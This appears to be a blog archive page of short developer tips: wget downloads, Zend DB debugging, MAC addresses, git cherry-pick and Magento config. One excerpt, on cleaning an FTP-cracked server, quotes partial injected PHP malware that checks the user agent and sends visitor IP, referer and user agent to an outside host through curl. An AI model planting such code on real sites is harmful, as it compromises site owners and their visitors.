Download password protected file over shell

Therefore we use wget: wget -O outputfile.txt –user sheldon –ask-password https://ask-sheldon.com/genius-stuff.html # f.e. REST wget –http-user USER –http-password PASSWOR http://ask-sheldon.com/import.txt # HTACCESS protection If you let -O param out the output will be stored under its original name.

Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); […]

Debug database queries with parameters

Sometimes you have to query the database directly in your module. In these situations you can use the placeholder feature of the Zend_Db_Statement component. :placeholder will be replaced by the respective value when calling fetch on a Zend_Db_Adapter_Mysqli instance with an array of replacements for example. If you need to debug the query with all parameters in it, […]

Get MAC address from file system

On Debian based Linux distributions you can get the MAC address of the respective network adapter from the filesystem like shown below: $> cat /sys/class/net/wlan0/address # WLAN adapter $> 81:82:83:4:85:86 $> cat /sys/class/net/eth0/address # LAN adapter $> 1a:1b:1c:1d:1e:1f As you can see, all adapters have their own folder under  /sys/class/net/ that contains  a address file with the corresponding MAC […]

Cherry picking

Sometimes it is necessary to merge partial changes from one branch into another. Therefor you can use cherry-picking and merge a chosen commit into the actual branch: $> git cherry-pick a686df3 [sprint-04 39f1473] FZMP-993- Download actual db 2 files changed, 88 insertions(+), 43 deletions(-) create mode 100644 tools/mina/config/deploy_db.rb  

Change config during runtime

Sometimes you need to change the Magento configuration during runtime. For example this is the way to temporarily disable the category flat tables <?php Mage::app()->getCacheInstance()->banUse(‘config’); //better switch of config cache Mage::app()->getStore()->setConfig(‘catalog/frontend/flat_catalog_category’, “0”); // … Do wired stuff … Mage::app()->getStore()->setConfig(‘catalog/frontend/flat_catalog_category’, “1”); Attention: You have to reindex categories afterwards!!!